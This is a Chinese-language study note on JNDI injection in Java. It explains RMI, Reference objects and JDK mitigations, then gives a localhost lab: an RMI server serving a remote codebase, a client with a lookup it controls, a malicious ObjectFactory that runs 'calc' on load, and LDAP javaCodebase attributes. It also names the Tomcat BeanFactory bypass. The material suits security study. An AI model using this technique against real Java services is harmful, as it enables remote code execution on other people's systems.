JNDI注入笔记

JNDI 的二三事

什么是 JNDI

数据库是一种资源,我们使用 JDBC 对数据库作包装,然后通过适当的 JDBC URL 连接到数据库

1
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306?user=qsdz&password=qsdzyyds")

文件也是一种资源,比如说

1
"file:///home/qsdz/flag.txt"

网络资源也是一种资源,比如说

1
"http://www.baidu.com"

Java 就是一门极其注重抽象的语言,那么我们是否可以对这些资源和资源的定位进行一种抽象?

答案是是的,JNDI 全称 Java Naming and Directory Interface,分为 Naming Server 和 Directory Server 两大部分。

套用在文件资源中,Naming Server 就是负责解析文件路径,获取文件对象的服务;Directory Server 就是负责获取文件数据、信息的服务。

套用在网络资源中,Naming Server 就是负责解析域名的系统,例如 DNS;Directory Server 就是负责访问具体网络资源的服务,例如 /index.html/../../../../etc/passwd

通俗易懂地说,JNDI 就是 Java 中负责资源管理的抽象接口,在这套系统中,我们可以给资源取一个名字,然后通过名字来查找资源,获取资源的属性。

SPI

JNDI 原生支持的一部分协议如下表所示

协议 schema Context
DNS dns:// com.sun.jndi.url.dns.dnsURLContext
RMI rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

而针对这些不同自定义协议的解析,是通过 SPI,Service Provider Interface,服务供应接口进行实现的,通过实现 SPI,我们就能够自定义各种不同的协议方式通过 URL 的方式访问不同类型的资源。

RMI

RMI,Remote Method Invocation,远程方法调用,这是 Java 分布式编程中一个十分重要的接口,能够使得客户端远程调用服务端的对象资源。

比如说我们有这么一个接口

1
2
3
4
5
6
7
8
9
package com.qsdz.interfaces;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteHello extends Remote {
public String hello() throws RemoteException;
}

服务端对外屏蔽实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.qsdz.server;

import com.qsdz.interfaces.RemoteHello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloImpl extends UnicastRemoteObject implements RemoteHello {
protected RemoteHelloImpl() throws RemoteException {
}

@Override
public String hello() throws RemoteException {
System.out.println("Method `RemoteHelloImpl.hello` is called.");
return "Hello World!";
}
}

服务端的 RMI 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.qsdz.server;

import com.qsdz.interfaces.RemoteHello;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteHello hello = new RemoteHelloImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", hello);
}
}

这里将 hello 对象资源绑定到命名为 hello 的 RMI Registry 中。

客户端的 RMI 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.qsdz.client;

import com.qsdz.interfaces.RemoteHello;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws NotBoundException, RemoteException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteHello hello = (RemoteHello) registry.lookup("hello");
String ret = hello.hello();
System.out.println("RMI hello ret value: " + ret);
}
}

这样就实现了远程对象获取,对客户端屏蔽了实现,仅需服务端进行垃圾回收和资源管理,而多台客户端可以大量获取服务端资源而减少性能损耗,为分布式提供可能。

这里调用的 hello.hello() 在本地并没有相应的执行过程,而是远程对象的远程方法调用,具体执行过程是在服务端,客户端仅获取到服务端的运行结果。

而 JNDI 下的 RMI,通过 SPI 实现协议接口,可以通过 Naming Server 直接获取 RMI 资源,例如

服务端代码改写为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.qsdz.server;

import com.qsdz.interfaces.RemoteHello;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
RemoteHello hello = new RemoteHelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/hello", hello);
}
}

而客户端代码改写为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.qsdz.client;

import com.qsdz.interfaces.RemoteHello;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
public static void main(String[] args) throws NotBoundException, RemoteException, MalformedURLException {
RemoteHello hello = (RemoteHello) Naming.lookup("rmi://127.0.0.1:1099/hello");
String ret = hello.hello();
System.out.println("RMI hello ret value: " + ret);
}
}

Reference

Reference 嘞表示对存在于命名/目录系统外的对象的引用。

比如说

1
2
3
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup 查询 refObj 资源获取远程对象时,会获得一个 Reference 类的存根,而对于该类客户端会寻找 refClassName 匹配的类名。

javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)

  1. className - 远程加载时所使用的类名
  2. classFactory - 加载的class中需要实例化类的名称
  3. classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

Reference 的使用场景在于实例化对象的引用,对于某些数据类我们是希望在本地执行过程而非在远程执行的,所以我们可以通过 Reference 类获取类字节码,随后在本地实例化它。

而 ReferenceWrapper 是包装类,用于保证 Reference 可以被 RMI 协议传输。

JNDI 注入

防御措施

那么如果说 JNDI 客户端的 lookup 参数可控,服务端 ReferenceclassFactoryLocation 可控,那么我们就可以使其执行一些恶意代码。

利用流程如下:

  • 目标代码中调用了 InitialContext.lookup(URI),且URI为用户可控;
  • 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://evil_server/name
  • 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  • 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  • 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果

为了防止 JNDI 注入,下文是 Java 作的一些防御措施

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

RMI 利用

低版本

首先编写客户端和服务端代码,假定 Reference 的 location 可控,那么一份客户端代码可能如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.qsdz.rmi.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
static final String location = "http://127.0.0.1:8000/";

public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("RMIEvilClass", "RMIEvilClass", location);
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
registry.bind("ref", refWrapper);
}
}

这里 location 端口选择 8000 是因为 Python 的 http.server 的默认启动端口是 8000。

而客户端那边省略无关代码,剩下的框架如下

1
2
3
4
5
6
7
8
9
10
11
package com.qsdz.rmi.client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class RMIClient {
public static void main(String[] args) throws NamingException {
Reference ref = (Reference) new InitialContext().lookup("rmi://127.0.0.1:1099/ref");
}
}

远程利用的情况下(通过可控 location 下载字节码),需要新建一个模块进行复现,在新建的模块中编写恶意类代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class RMIEvilClass implements ObjectFactory {
public RMIEvilClass() throws IOException {
String cmd = "calc";
Runtime.getRuntime().exec(cmd);
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

在不开启 http.server 的情况下,客户端可以成功运行,但不会执行恶意类代码(因为找不到)。

在开启 http.server 的情况下,客户端看可以成功运行,会从 location 下载字节码,可以观察到日志如下

1
::ffff:127.0.0.1 - - [24/Apr/2024 20:04:21] "GET /RMIEvilClass.class HTTP/1.1" 200 -

需要知道的是,实例化类时加载优先级为:

1
静态块>IIB块>构造函数>getObjectInstance

由于 getObjectInstance 返回值为 null,故 lookup 结果为 null

高版本

为了绕过这里 ConfigurationException 的限制,我们有三种方法:

  1. ref 为空
  2. ref.getFactoryClassLocation() 为空
  3. trustURLCodebasetrue

第一种为空会导致无法实例化远程 RMI,第三种为空不太现实,这时只能选择第二种方法。

此时选择 org.apache.naming.factory.BeanFactory,这是 tomcat 会使用到的工厂类,用于实例化 bean。

LDAP 利用

低版本

LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储。

1
2
3
4
ObjectClass: javaNamingReference
javaCodebase: http://localhost:8000/
JavaFactory: RMIEvilClass
javaClassName: RMIEvilClass

这就相当于 RMI 中的 Reference,配置其中的 classNameclassFactory 饿 classFactoryLocation,其实本质与 RMI 服务器无差异。

高版本

参考

高低版本 JNDI 注入

JNDI 注入

JNDI 注入漏洞

JNDI 注入学习